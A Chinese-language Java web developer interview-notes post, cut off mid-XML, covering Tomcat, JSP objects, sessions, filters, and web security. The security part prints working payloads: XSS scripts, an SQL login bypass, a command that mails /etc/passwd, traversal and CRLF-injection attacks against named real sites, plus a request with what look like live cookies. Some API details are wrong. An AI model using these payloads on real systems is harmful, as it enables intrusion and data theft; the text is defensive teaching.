除非重新編譯,否則無法對“產品的實現類”進行替換,必須重新編譯工廠類來達到所要求的改變,但這樣將使得原本可以取得的易用性將大大降低 ?
無法在單例和原型之間切換產品對象實例產生的模式 ?
無法透明地為不同的產品組件類提供多種不同形式的實現。這是開發者在應用工廠模式時比較頭疼的一個問題,因為工廠模式中的工廠類要求每個產品組件類都必須遵從在產品接口中定義的方法和結構特征。一個接口常常意味著一個生成工廠,當接口為多個時,將會出現許多不同的工廠類。 ?
??
2013年8月28日:萬迅電腦軟件 ?
??
問題1、JSP經Tomcat編譯后的.class文件位置? ?
??
? ? ? ? ? ? ??
??
Tomcat將JSP編譯成Servlet后的文件存放在\work\Catalina目錄下,例如jsp文件\webapps\hh\h.jsp,編譯后路徑為: ?
\work\Catalina\localhost\hh\org\apache\jsp\h_jsp.java ?
?
Servlet文件和.class文件都在同一目錄下,文件名一般會被更改,改名規則為: index.jsp會改成index_jsp.class,以此類推。 ?
??
問題2、Session默認過期時間如何修改? ?
??
程序中Session都有一個默認的過期時間,其中Tomcat中的默認時間為30分鐘,根據需要我們可以去手動設置Session的過期時間,以下是設置Session的過期時間的三個方法: ?
??
1、在Tomcatconfconf/web.xm中的<session-config>中設置: ?
? ? <session-config> ?
? ? ? ? <session-timeout>30</session-timeout> ?
? ? </session-config> ?
2、在項目的web.xml中定義: ?
? ? <session-config> ?
? ? ? ? <session-timeout>20</session-timeout> ?
? ? </session-config> ?
注:20則設置過期時間為20分鐘 ?
3.在程序中定義: ?
session.setMaxInactiveInterval(30*60); ?
??
問題3、請講述有四種會話跟蹤技術? ?
??
隱藏表單域、URL重寫、Cookie、Session ?
??
隱藏表單域: ?
將會話ID添加到HTML表單元素中提交到服務器,此表單元素并不在客戶端顯示<input hidden> ?
URL 重寫: ?
URL(統一資源定位符)是Web上特定頁面的地址,URL重寫的技術就是在URL結尾添加一個附加數據以標識該會話,把會話ID通過URL的信息傳遞過去,以便在服務器端進行識別不同的用戶 ?
Cookie: ?
Cookie是Web服務器發送給客戶端的一小段信息,客戶端請求時可以讀取該信息發送到服務器端,進而進行用戶的識別。對于客戶端的每次請求,服務器都會將Cookie發送到客戶端,在客戶端可以進行保存,以便下次使用 ?
客戶端可以采用兩種方式來保存這個Cookie對象,一種方式是 保存在客戶端內存中,稱為臨時Cookie,瀏覽器關閉后 這個Cookie對象將消失。另外一種方式是保存在客戶機的磁盤上,稱為永久Cookie。以后客戶端只要訪問該網站,就會將這個Cookie再次發送到服務器上,前提是這個Cookie在有效期內。這樣就實現了對客戶的跟蹤 ?
Cookie是可以被禁止的 ?
Session: ?
使用setAttribute(String str,Object obj)方法將對象捆綁到一個會話(在會話中可以保存任意類型的對象,但因為會話可能被序列化,最好讓會話對象實現 java.io.Serializable接口 ?
使用getArrtibute(String str)方法從一個會話中檢索對象 ?
使用removeAttribute(String str)方法從一個會話中銷毀對象 ?
使用setMaxInactiveInteral()方法設置會話的有效期,默認為30分鐘(在web.xml中配置) ?
使用invalidate()方法將會話所有捆綁的對象解縛。 ?
??
問題4、如果不用Spring如何實現AOP和IOC功能? ?
??
說到底,IOC就是反射,實例化指定類;AOP就是攔截,一系列的過濾器 ?
IOC:工廠模式通過讀取配置文件創建實例結合反射使用,在配置文件里面配置要實例化的對象的全路徑 ?
??
AOP:意為面向切面的編程,可以為某一類對象進行監督和控制,也就是調用你這個對象的方法前或者方法后,去調用你指定的模塊從而達到一個對模塊擴充的功能,一般用來做權限控制和日志記錄等等,不用AOP的話,Struts2的攔截器也可以實現,不用Struts2,也可以直接用過濾器 ?
??
補充: ?
AOP(Aspect-Oriented Programming,面向切面的編程),它是可以通過預編譯方式和運行期動態代理實現在不修改源代碼的情況下給程序動態統一添加功能的一種技術。它是一種新的方法論,它是對傳統OOP編程的一種補充。 ?
??
IoC,(Inverse of Control)控制反轉,其包含兩個內容:其一是控制,其二是反轉。在程序中,被調用類的選擇控制權從調用它的類中移除,轉交給第三方裁決,它是一種設計模式,通過Java反射技術實現。 ?
??
??
問題5、寫出你所知道JSP內置對象的方法? ?
??
Request對象: ?
客戶端的請求信息被封裝在Request對象中,通過它才能了解到客戶的需求,然后做出響應。它是HttpServletRequest類的實例 ?
??
getSession 獲取當前的會話 ?
setAttribute(String key,Object obj) 將一個對象綁定到request中指定的name屬性 ?
getAttribute(String name) 該方法返回由name指定的屬性值,如果指定的屬性值不存在,則返回null ?
getParameter(String name) ??
該方法用于獲得客戶端傳送給服務器端的參數,該參數有name指定,通常是表單中的參數 ?
setCharacterEncoding(String type)重載正文中使用的字符編碼 ?
注:在用request.getParameter()獲取中文數據前,要先用request.setCharacterEncoding("utf-8");設定字符編碼,如果不設定則有可能出現亂碼! ?
??
Response對象 ??
Response對象包含了響應客戶請求的有關信息,但在JSP中很少直接用到它。它是HttpServletResponse類的實例 ?
??
addCookie(Cookie cook) 添加一個Cookie對象,用來保存客戶端的用戶信息 ?
sendRedirect(java.lang.String location) 重新定向客戶端的請求 ?
addHeader(String name,String value) 添加Http響應頭信息 ?
該Header信息將傳達到客戶端,如果已經存在同名的則會覆蓋 ?
setHeader(String name,String value) 設置指定名字的Http響應頭的值,若存在則會覆蓋 ?
??
Session對象 ??
Session對象指的是客戶端與服務器的一次會話,從客戶連到服務器的一個WebApplication開始,直到客戶端與服務器斷開連接為止。它是HttpSession類的實例 ?
??
String getId() 返回Session創建時JSP引擎為它設的唯一ID號 ?
invalidate() 取消Session,使Session不可用,銷毀Session ?
setMaxInactiveInterval() 設置Session的失效時間,單位是ms毫秒,1秒=1000毫秒 ?
getAttribute(String name) 返回與指定名稱相聯系的屬性 ?
setAttribute(String name, Object ob) 將一個對象綁定到會話中指定的name屬性 ?
removeAttribute(String name) 刪除綁定到對話中指定名稱的對象 ?
??
Out對象 ?
Out對象是JspWriter類的實例,是向客戶端輸出內容常用的對象 ?
??
這個對象最常用的方法只有兩個:out.print("...") out.println("...") ?
用途都是向客戶端發送信息,即,在瀏覽器中顯示信息。很多時候動態生成網頁都由該語句實現,如: ?
out.println("<table><tr><td>動態生成</td></tr></table>"); ?
??
clear() 清除緩沖區里的數據,但不會把數據輸出到客戶端 ?
clearBuffer() 清除緩沖區里的數據,并把數據輸出到客戶端 ?
close() 關閉輸出流 ?
flush() 輸出緩沖區里的數據 ?
newLine() 換行,相當于\n ?
??
Page對象 ?
Page對象就是指向當前JSP頁面本身,有點象類中的this指針,它是java.lang.Object類的實例 ?
??
getClass 返回此Object的類 ??
hashCode() 返回此Object的hash碼 ??
equals(Object obj) 判斷此Object是否與指定的Object對象相等 ??
copy(Object obj) 把此Object拷貝到指定的Object對象中 ??
clone() 克隆此Object對象 ??
toString() 把此Object對象轉換成String類的對象 ??
notify() 喚醒一個等待的線程 ??
notifyAll() 喚醒所有等待的線程 ??
wait(int timeout) 使一個線程處于等待直到timeout結束或被喚醒 ??
wait() 使一個線程處于等待直到被喚醒 ??
enterMonitor() 對Object加鎖 ??
exitMonitor() 對Object開鎖 ??
??
Application對象 ??
Application對象實現了用戶間數據的共享,可存放全局變量。它開始于服務器的啟動,直到服務器的關閉,在此期間,此對象將一直存在;這樣在用戶的前后連接或不同用戶之間的連接中,可以對此對象的同一屬性進行操作;在任何地方對此對象屬性的操作,都將影響到其他用戶對此的訪問。服務器的啟動和關閉決定了Application對象的生命。它是ServletContext類的實例 ?
??
getAttribute(String name) 返回給定名的屬性值 ?
setAttribute(String name,Object obj) 設定屬性的屬性值 ?
removeAttribute(String name) 刪除一屬性及其屬性值 ?
getResource(String path) 返回指定資源(文件及目錄)的URL路徑 ?
getResourceAsStream(String path) 返回指定資源的輸入流 ?
getRequestDispatcher(String uripath) 返回指定資源的RequestDispatcher對象 ?
??
Exception對象 ?
Exception對象是一個例外對象,當一個頁面在運行過程中發生了例外,就產生這個對象。如果一個JSP頁面要應用此對象,就必須把isErrorPage設為true,否則無法編譯。他實際上是java.lang.Throwable的對象 ??
??
getMessage() 返回描述異常的消息 ?
toString() 返回關于異常的簡短描述消息 ?
printStackTrace() 顯示異常及其棧軌跡 ?
??
PageContext對象 ??
PageContext對象提供了對JSP頁面內所有的對象及名字空間的訪問,也就是說他可以訪問到本頁所在的SESSION,也可以取本頁面所在的Application的某一屬性值,他相當于頁面中所有功能的集大成者,它的本類名也叫PageContext ?
??
getOut() 返回當前客戶端響應被使用的JspWriter流(out) ??
getSession() 返回當前頁中的HttpSession對象(session) ??
getPage() 返回當前頁的Object對象(page) ??
getRequest() 返回當前頁的ServletRequest對象(request) ??
getResponse() 返回當前頁的ServletResponse對象(response) ??
getException() 返回當前頁的Exception對象(exception) ??
getServletConfig() 返回當前頁的ServletConfig對象(config) ??
getServletContext() 返回當前頁的ServletContext對象(application) ??
??
setAttribute(String name,Object attribute) 設置屬性及屬性值 ??
setAttribute(String name,Object obj,int scope) 在指定范圍內設置屬性及屬性值 ??
Object getAttribute(String name) 取屬性的值 ??
getAttribute(String name,int scope) 在指定范圍內取屬性的值 ??
Object findAttribute(String name) 尋找一屬性,返回起屬性值或NULL ??
removeAttribute(String name) 刪除某屬性 ??
removeAttribute(String name,int scope) 在指定范圍刪除某屬性 ??
??
forward(String relativeUrlPath) 轉發 ??
include(String relativeUrlPath) 在當前位置包含另一文件 ??
??
Config對象 ?
Config對象是在一個Servlet初始化時,JSP引擎向它傳遞信息用的,此信息包括Servlet初始化時所要用到的參數(通過屬性名和屬性值構成)以及服務器的有關信息(通過傳遞一個ServletContext對象) ?
??
getServletContext() 返回含有服務器相關信息的ServletContext對象 ??
getInitParameter(String name) 返回初始化參數的值 ??
getInitParameterNames() 返回Servlet初始化所需所有參數的枚舉 ?
??
問題6、Java啟動參數Xms和Xmx的含義? ?
??
參數名 含義 ? ? ? ? ? ? ?默認值 ?
Xms ? ? 初始堆大小 ? ? ? ? ? 物理內存的1/64(<1GB) ?
Xmx ? ? 最大堆大小 ? ? ? ? ? 物理內存的1/4(<1GB) ?
Xmn ? ? 年輕代大小 ? ? ? ? ? ??
Xss ? ? 每個線程的堆棧大小 ?
??
問題7、對于Web應用安全的理解?以下是大分類,采用問題7-1、問題7-2開頭,以此類推,為系列問題。 ?
問題7-1、 ?跨站腳本攻擊(CSS or XSS, Cross Site Scripting)——注入 ?
??
相信絕大多數人對跨站腳本弱點已經早有耳聞。2006年全球網絡安全弱點Top10排名當中,它榮登榜首!為什么它有如此之大的影響力呢?個人覺得原因有三: ?
1、攻擊難度小,不管是技術還是實現攻擊的成本上都比較容易 ?
2、它存在的載體(瀏覽器)使用極其廣泛 ?
3、它所依賴的技術被廣泛的應用與支持(JavaScript,VB Script, HTML,ActiveX, Flash) ?
??
說了這么多,它到底是什么呢? ?
??
XSS是一種存在Web應用中,允許黑客以最終用戶的身份向Web應用注入惡意腳本,以愚弄其他用戶或獲取其他用戶重要數據和隱私信息為目的的一種攻擊形式。 ?
??
XSS可使用的技術有JavaScript、VBScript、 ActiveX、 或 Flash, 且通常通過頁面表單提交注入到web應用中并最終在用戶的瀏覽器客戶端執行。例如,一個沒有經過安全設計并實現的論壇,當你在跟貼時在正文輸入這樣的代碼: ?
< script>alert(document.cookie);</script> ?
??
當其它用戶瀏覽時便會彈出一個警告框,內容顯示的是瀏覽者當前的cookie串。 ?
??
試想如果我們注入的不是以上這個簡單的測試代碼,而是一段經常精心設計的惡意腳本,當用戶瀏覽此帖時,cookie信息就可能成功的被攻擊者獲取。此時瀏覽者的帳號就很容易被攻擊者掌控了。 ?
??
不管是上述的哪一種技術實現的XSS攻擊,最終都離不開這三點: ?
1、是瀏覽器的解析 ? 2、是腳本語法 3、是腳本需要一定的長度 ?
??
對于瀏覽器的解析是不在話下了,我不能因為這各類型問題的存在就改寫瀏覽器使其不支持腳本解析。 ?
??
所以,能做就是控制腳本注入的語法要素。比如:JavaScript離不開:< 、 > 、 ( 、 ) 、;...等等,所以我們只需要在輸入或輸出時對其進行字符過濾或轉義處理就可以了。一般我們會采用轉義的方式來處理,轉義字符是會使用到HTML的原始碼,因為原始碼是可以被瀏覽器直接識別的,所以使用起來非常方便。 ?
??
允許可輸入的字符串長度限制也可以一定程度上控制腳本注入。比如:頁面表單中姓名,我可以只允許你輸入5個字符,請問你還有辦法進行JavaScript的腳本注入嗎?顯然不行了。 ?
??
還需要您注意的是:我這里所述的過濾、檢測、限制等等策略,一定一定要在Web Server服務器那一端去完成,而不是使用客戶端的JavaScript或者VBScript...去做簡單的檢查。因為真正的攻擊者不會僅僅依賴于瀏覽器去做攻擊,而更多的往往是借助于第三方工具,根本就可以繞過你精心設計制作的客戶端JavaScript進行過濾、檢測或限制手段的。 ?
??
問題7-2、SQL注入攻擊(SQL injection)——注入 ?
??
早在十幾年前,基于數據庫的Web應用剛剛盛行的時候,幾乎所有的開發商都忽略了SQL注入弱點,導致當時絕大多數的網站的登錄入口形同虛設!為什么呢?先給一個小小的例子,假如以下SQL代碼是用來在網站登錄入口入執行用戶驗證時的查詢代碼: ?
?
SELECT count(*) ?
FROM users_list_table ?
WHERE username='USERNAME' ?
AND password='PASSWORD' ?
??
以上的USERNAME就是我們登錄時提供的用戶名,PASSWORD就是我們登錄時提供的密碼。當用戶輸入正確的用戶名和密碼時,這條語句的執行結果將為真(True),否則為假(False),當然為真時我們就認為認證通過,為假時就認為認證失敗,即非法登錄。試想一下,如果我在輸入用戶名和密碼的時候輸入如下的內容: ?
?
用戶名:a' or 'a'='a ?
密碼:a' or 'a'='a ?
??
用代入法把用戶名和密碼輸入值代入到上述的SQL腳本里結果如下: ?
??
SELECT count(*) ?
FROM users ?
WHERE username='a' or 'a'='a' ?
AND password='a' or 'a'='a' ?
??
相信稍懂一點兒SQL語句的人都知道,這條語句的執行結果就永遠是真了!此時你不需要有帳號,就直接登錄成功了!你對此漏洞理解的深度同樣取決于你的對SQL語句的技能和Web安全知識能力。一個具有良好技能的攻擊者可能利用此漏洞獲取后臺DB的結構并逐步獲取DB的信息。 ?
??
總結一下:SQL注入弱點是存在基于數據庫的Web應用中,黑客利用精心組織的SQL語句,通過Web接口(通常指我們的Web頁面的表單)注入的Web應用中,從而獲取后臺DB的訪問與存取權的一種安全弱點。 ?
??
簡要的解決方案: ?
剛剛介紹了XSS,在這里關于SQLInjection我想就無需多說了,都是過濾、合法性檢查和長度限制等通用方法。 ?
有沒有注意到,XSS和SQL Injection,雖然名字不一樣,但它們似乎都屬于我前一篇文章《解讀Web安全性問題的本質》中的第一部分,即輸入/輸出驗證。下面將要介紹的遠程命令執行、目錄遍歷和文件包含同樣也是輸入/輸出驗證問題。 ?
??
問題7-3、遠程命令執行(Code execution,個人覺得譯成代碼執行并不確切) ?
??
先不解釋它的概念,我們先假設這樣一個用戶使用場景: ?
??
有一個站點的管理入口功能非常強大,大到什么程度呢?可以重啟Web服務器。 ?
??
你能想出來它是如何實現的嗎?我們知道不管是PHP還是JSP,我們都可以在服務器通過Shell調用系統(Linux or Windows)命令,等命令執行后,將執行結果返回給客戶端。其實我們通過Web Page的管理入口管理服務器端的各種服務就是通過類似這種渠道完成的。 ?
??
這里會有什么問題?比如我們要重啟apache,假如系統是通過這個命令來完成的: ?
??
/$path/./apche -restart ?
??
這里的$path是Web應用程序的基準路徑(比如:apache上的documentroot),它的實現方式是這樣的:通過用戶瀏覽器客戶端傳送一個命令串給Web Server,Web Server通過調用shell來執行傳過來的命令。 ?
??
試想,如果我通過瀏覽器客戶端強行傳送一個:restart, shutdown之類的命令給Server,結果會是什么樣子? ?
??
這只是起一個小小的破壞作用,那如果我傳送一個:mail abc@abc.abc </etc/passwd,執行結果是什么? ?
??
結果是將linux系統的passwd文件(linux系統用戶信息)發送到指定的郵箱abc@abc.abc。是不是很可怕呢? ?
??
這就是遠程命令執行漏洞的一個小小的典型例子。 ?
??
至于它的更深遠的安全隱患在哪里還需要你有更多的相關基礎知識才能夠得以深入理解和運用(比如:Web server OS, Web Service-apache/weblogic/tomcat...相關的使用技能)。 ?
??
總結一下:遠程命令執行漏洞一般發生在Web系統允許用戶通過Web應用接口訪問與管理Web服務器且沒有經過嚴格的輸入驗證與過濾的情況下的一種Web應用安全漏洞。 ?
??
簡要的解決方案: ?
嚴格限制運行Web服務的用戶權限。 ?
??
就是說你的Web應用可以訪問你的服務器系統的用戶權限。一般情況一下,我們應該以白名單的形式介定Web應用可以訪問服務器系統的權限。這樣控制可以從系統級達到安全防范的效果。 ?
??
嚴格執行用戶輸入的合法性檢查。 ?
??
這里的輸入不一定是你通過表單從鍵盤輸入,往往是Web應用已經內定了某一些操作供您選擇,而此時你可以通過Http抓包的方式獲取Http請求信息包經改裝后重新發送。 ?
??
問題7-4、目錄遍歷(Directory traversal) ?
??
部分朋友應該知道之前我在我的blog里公布了ah163.net上的一個安全漏洞,安全級別高:極度危險,由于我沒有公布細節,大家都比較好奇想知道是什么。出于對同行的尊重我就刪除了漏洞公布這一欄的內容了。我已經通知ah163.net的同行了,他們已經fix那個問題。 ?
??
今天我們就講講這個漏洞,love.ah163.net上有網絡硬盤服務,當注冊用戶登錄并開通網絡硬盤服務后,即可進入自己的硬盤管理界面,我們來看看它是如何進入某一個目錄的,以下是進入某一目錄的URL: http://love.ah163.net/Personal_Spaces_List.php?dir=MyFolder ?
??
那現在我把這個URL改裝一下: ?
http://love.ah163.net/Personal_Spaces_List.php?dir=../../../../../../../../../../../../../usr/local/apache/conf/ ?
??
在瀏覽器里運行它,會是什么結果呢?結果是:/usr/local/apache/conf/里的所有文件都老老實實的列出來了,通過這種方式,你可以發揮你的想象了,服務器上的東東是不是都差不多可以列出來了?告訴你,還可以隨便下載呢!網絡硬盤嘛,就是用來上傳下載的,所以它提供的功能很完備,破壞性也就很強了。至于它的危害有多大,你自己想去吧,我就不危言聳聽了。 ?
??
簡要的解決方案: ?
1、同樣是限制Web應用在服務器上的運行 ??
??
2、進行嚴格的輸入驗證,控制用戶輸入非法路徑 ?
??
問題7-5、http請求頭的額外的回車換行符注入(CRLF injection/HTTP response splitting) ?
??
CRLF:Carriage-Return Line-Feed 回車換行 ?
HTTP response splitting:HTTP 響應頭分割 ?
??
為了講清楚這個問題,首先我們來看一個校內網的XSS。 ?
??
漏洞出在 http://login.xiaonei.com ?
??
正常情況下,用戶名處是已經htmlencode過了的 ?
(實際上 a<script>這里是 htmlencode過的) ?
??
接下來隨便在什么站上構造如下form: ?
??
??
< form id="x" action="http://login.xiaonei.com/Login.do?email=a%0d%0a%0d%0a<script>alert(/XSS/);</script>" method="post"> ? ?<!-- input name="email" value="" / --> ? ?<input name="password" value="testtest" /> ? ?<input name="origURL" value="http%3A%2F%2Fwww.xiaonei.com%2FSysHome.do%0d%0a" /> ? ?<input name="formName" value="" /> ? ?<input name="method" value="" /> ? ?<input type="submit" value="%E7%99%BB%E5%BD%95" /></form> ?
??
提交該表單 ?
??
將造成一個XSS ?
??
??
抓包看到數據是這樣構成的 ?
POST http://login.xiaonei.com/Login.do?email=a%0d%0a%0d%0a<script>alert(/XSS/);</script> HTTP/1.1 ?
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */*Referer: http://www.a.com/test.htmlAccept-Language: zh-cnContent-Type: application/x-www-form-urlencodedUA-CPU: x86Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)Proxy-Connection: Keep-AliveContent-Length: 103Host: login.xiaonei.comPragma: no-cacheCookie: __utmc=204579609; XNESSESSIONID=abcThVKoGZNy6aSjWV54r; _de=axis@ph4nt0m.org; __utma=204579609.2036071383.1229329685.1229336555.1229347798.4; __utmb=204579609; __utmz=204579609.1229336555.3.3.utmccn=(referral)|utmcsr=a.com|utmcct=/test.html|utmcmd=referral; userid=246859805; univid=20001021; gender=1; univyear=0; hostid=246859805; xn_app_histo_246859805=2-3-4-6-7; mop_uniq_ckid=121.0.29.225_1229340478_541890716; syshomeforreg=1; id=246859805; BIGipServerpool_profile=2462586378.20480.0000; _de=a; BIGipServerpool_profile=2462586378.20480.0000password=testtest&origURL=http%253A%252F%252Fwww.xiaonei.com%252FSysHome.do%250d%250a&formName=&method=HTTP/1.1 200 OKServer: Resin/3.0.21Vary: Accept-EncodingCache-Control: no-cachePragma: no-cacheExpires: Thu, 01 Jan 1970 00:00:00 GMTSet-Cookie: kl=null; domain=.xiaonei.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMTSet-Cookie: societyguester=null; domain=.xiaonei.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMTSet-Cookie: _de=a<script>alert(/XSS/);</script>; domain=.xiaonei.com; expires=Thu, 10-Dec-2009 13:35:17 GMTSet-Cookie: login_email=null; domain=.xiaonei.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMTContent-Type: text/html;charset=UTF-8Connection: closeTransfer-Encoding: chunkedDate: Mon, 15 Dec 2008 13:35:17 GMT217b<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>...... ?
??
可以看到,實際上就是分割了http response 包的包頭, %0d%0a 是換行,從而插入了我們自己的數據。 ?
??
HTTP Response Splitting 是 CRLF Injection的一種.Carriage Return (CR, ASCII 13, ) Line Feed (LF, ASCII 10, ) ?
這兩個字符經常被用來作為換行。在很多文本、語言里,都能這么用,所以CRLF是一種廣義的攻擊,用在HTTP響應里,就是 HTTP Response Splitting ?
這已經是非常古老的技術了,現在拿出來說,是因為前兩天看paper,發現提到IE8 的 XSS Filter沒有,也不會(微軟已確認)增加 CRLF + XSS 的防范。所以在這里只能依靠我們自己來對抗這種攻擊。需要指出的是,如果直接用我上面那個form,可能會測試失敗,這是因為校內是有壓縮過HTTP包的客戶端瀏覽器(我的是IE7),提交包頭里有:Accept-Encoding: gzip, deflate所以服務器知道客戶端接受壓縮包,所以選擇了壓縮響應包Content-Encoding: gzip這里是采用gzip壓縮格式,如果壓縮后,直接插入明文的html代碼,會報錯。在實施HTTP Response Splitting的時候,一般通過如下3個條件可以達成這種攻擊(當然要沒過濾%0d%0a):1. Set-Cookie 中的內容用戶可以控制2. 302跳轉的 Location 地址用戶可以控制3. 其他自定義Header 用戶可以控制上面舉的校內網的例子就是第一種,在 Set-Cookie 中有個字段可以控制,而又沒過濾CR、LF實際上這里問題還不止如此,提交的參數中有一個 <input name="origURL" value="http%3A%2F%2Fwww.xiaonei.com%2FSysHome.do%0d%0a" />此處將造成一個 302 跳轉,滿足我們的第二個條件,這里也是可以控制的。第三個條件,自定義的header,這個不多見,但我也在大站里找到過案例,出于其他因素考慮,不在這里舉例了。 ?
GZIP的壓縮數據很討厭,導致我們必須要自己去壓縮數據,然后想辦法提交上去,大大增加了攻擊的門檻。但是如果CRLF的時候處在 Content-Encoding: gzip 之前,則可以提交明文數據,反之,則不能直接提交明文數據。比較萬能的跨站是直接在HTTP頭里插入新標準里的 Link 標簽Link: <http://www.a.com/xss.css>; REL:stylesheet可以直接造成XSS ?
不光是XSS,HTTP Response Splitting 的嚴重性要高于XSS,因為能修改HTTP返回包頭,所以很可能造成跨域問題。設想我們插入一個P3P頭,然后再在一個別的域引用此處,則會造成隱私數據的跨域.此類問題非常之多,很多大站都有,不再舉例了。漏洞組合起來,威力絕對不止1+1=2這么簡單了。要防范很簡單,過濾或者替換 %0d%0a,對我上面列出的3個條件,檢查所有輸出。 ?
??
問題8、Web應用程序安全性問題的本質是什么,請說說你的理解? ?
??
相信大家都或多或少的聽過關于各種Web應用安全漏洞,諸如:跨site腳本攻擊(XSS),SQL注入,上傳漏洞...形形色色. ?
在這里我并不否認各種命名與歸類方式,也不評價其命名的合理性與否,我想告訴大家的是,形形色色的安全漏洞中,其實所蘊含安全問題本質往往只有幾個。 我個人把Web應用程序安全性本質問題歸結以下三個部分: ?
1、輸入/輸出驗證(Input/output validation) ?
2、角色驗證或認證(Role authentication ) ?
3、所有權驗證(Ownership authentication) ?
?
說到這,讀者一定想知道我這三種分類與形形色色的安全性問題有什么關系?下面我逐個給您概略解答: ?
??
輸入/輸出驗證 ?
這里的輸入與輸出其實都是發生在用戶界面(User Interface)這一個層面上的,比如:你某一站點上提交一份注冊信息,往往會收到諸多提示:“用戶名非法”,“姓名不能使用英文“......其實這就是輸入驗證的一個實例。 ?
?
什么情況是輸出呢?比如說你成功提交一份注冊信息后,系統會返回一個確認頁(Registerred Confirmation),往往在這個頁面上會顯示你注冊時提交的部分或全部信息,那么在這里顯示的信息就是我所說的輸出實例之一。 ?
?
輸入需要做什么驗證? ?
假如你在提交時,在Address那一欄輸入:<script>alert("iwebsecurity");</script>, 當你到達注冊的確認頁時,會有什么發生?如果確認頁沒有做輸出驗證處理,那很顯然會在到達確認頁的時候出現一個JavaScript打出的提示框。其實這就是跨site腳本攻擊的一個小小的實例。當然了,單純的輸入/輸出驗證涉及的面可能夠寫一小本書了,努力在后續文章中給大家詳解。 ?
??
角色驗證或認證 ?
我們就拿CSDN來說吧,用戶有這些角色: ?
其一可以說是游客,就是瀏覽者沒有登錄時的角色; ?
其二是免費的注冊用戶;或許將來CSDN深入發展了,業務有所更新,還會出現收費的注冊用戶。 ?
以上只是用戶角色,那在CSDN公司內部還會有管理員角色,還有可能管理員又可以根據板塊分為各種不同的角色。大家看到了吧,你天天訪問的CSDN一共可能有多少角色? ?
?
接下來的問題就是權限問題了,為什么會有角色? ?
就是為了控制權限的。每種角色都有自己特定的與公共的權限,這些權限的邏輯關系是相當復雜的,如果一個Web應用在角色上沒有一個詳細的合理的設計,將會給開發人員帶來無限痛苦和麻煩。 ?
那現在我要問幾個問題:你能保證每種角色只能做其份內的事兒?你是如何去保證的呢?方法可靠嗎?有沒有漏洞?...... 這,就是我要說的角色驗證或認證。 ?
?
BTW(By the way順便說一下):為什么我會說驗證或認證呢? ?
你可以這么理解,角色性存在于兩個階段: ?
其一進入階段,比如你登錄的那一瞬間,你進入了一個特定的角色; ?
另一個階段就是維持階段,你如何確保你登錄后總是以登錄時的身份在操作呢? ?
那前者可以說是:認證,后者就是驗證了。(有點羅嗦不?) ?
?
給一個角色認證/驗證方面的虛擬案例,比如:一個在線電影服務提供商,會免費給您開一個試用角色,如果這試用角色驗證不當,可能會導致用戶權限提升而成為一個合法的收費用戶,而這個收費用戶你往往卻收不到他的任何費用。 ?
??
所有權驗證 ?
這個問題的存在也是基于角色的,只不過它所關心的是同級別的角色之間的權限問題。 ?
就拿CSDN來說吧,我是CSDN的一個免費用戶,你也是。 ?
?
現在的問題是:我可以替你操作嗎,我可以替你發表文章嗎?我能修改你的個性設置嗎? ?
如果不能,CSDN是如何實現的?雖然你和我都是普通用戶,但是你有你的隱私我也有我的隱私,如何保證嚴格的所有權驗證就顯得尤為關鍵了。 ?
?
比較簡單吧,這就是我所說的所有權驗證。 ?
??
我可以很自信的告訴你,只要是Web應用安全性問題,它逃不出在這三大部分。 ?
可能你還無法把形形色色的Web應用安全性問題與這三個部分對應并合理的解釋清楚,但是確實只有這么簡單的幾個部分。如果您有疑問,可以以評論的方式提問。我可能會回復,也可能會以另一篇文章的形式出現,以供大家參考。 ?
??
問題9、Filter過濾器功能和用法有哪些,是什么? ?
??
Filter過濾器: ?
Filter與Servlet相似,過濾器是一些Web應用程序組件,可以綁定到一個Web應用程序中。但是與其他Web應用程序組件不同的是,過濾器是"鏈"在容器的處理過程中的。這就意味著它們會在Servlet處理器之前訪問一個進入的請求,并且在外發響應信息返回到客戶前訪問這些響應信息。這種訪問使得過濾器可以檢查并修改請求和響應的內容。 ?
它與Servlet的區別在于:它不能直接向用戶生成響應。 ?
完整的Filter流程是: ?
Filter對用戶請求進行預處理,接著將請求交給Servlet進行處理并生成響應,最后Filter再對服務器響應進行后處理。 ?
??
Filter作用: ?
在HttpServletRequest到達Servlet之前,攔截客戶的HttpServletRequest請求 ?
根據需要檢查HttpServletRequest,也可以對HttpServletRequest頭和數據進行修改 ?
在HttpServletResponse到達客戶端之前,攔截HttpServletResponse ?
根據需要檢查HttpServletResponse,也可以對HttpServletResponse頭和數據進行修改 ?
Filter可以攔截多個請求和響應,一個請求和響應可以被多個Filter攔截 ?
??
Filter種類: ?
用戶授權的Filter:Filter負責檢查用戶的請求,根據請求過濾用戶的非法請求 ?
日志Filter:詳細記錄用戶的請求信息 ?
負責解碼的Filter:對非標準編碼的解碼 ?
能改變XML內容的XSLT Filter等 ?
??
Filter的實現: ?
創建Filter處理類:Filter處理類必須實現javax.servlet.Filter接口。該接口有3個方法: ?
public void init(FilterConfig arg0) throws ServletException ?
用于初始化Filter,只會在Web容器啟動的時候自動調用而且只調用一次,FilterConfig 封裝了Filter配置參數(init-param)內容信息,初始化的時候可以直接拿出來 ?
在acegi安全認證中FilterConfig封裝的是被代理對象 ?
public void doFilter(ServletRequest req, ServletResponse res,FilterChain chain) throws IOException,ServletException ?
用于實現過濾的方法,該方法會在每次請求中調用,或每次響應中調用 ?
ServletRequest 封裝了請求信息,ServletResponse 封裝了響應信息 ?
在chain.doFilter(req, res);代碼執行之前進行的處理是對請求的預處理,在chain.doFilter(req, res);代碼執行之后執行的處理是對響應進行的后處理,一般擁有權限的才調用chain.doFilter(req, res);方法或者跳轉到錯誤頁面 ?
public void destroy() ??
用于進行資源釋放,當過濾處理完畢后會調用該方法。 ?
Web.xml中配置Filter: ?
配置Filter名,如下: ?
<filter> ? ?
<filter-name>myFilter</filter-name> ?
<filter-class>com.lanp.MyFilter</filter-class> ?
<init-param> ?
<param-name>super_role</param-name> ?
<param-value>lanp</param-value> ?
</init-param> ?
</filter> ?
配置Filter名,如下: ?
<filter-mapping> ?
<filter-name>myFilter</filter-name> ?
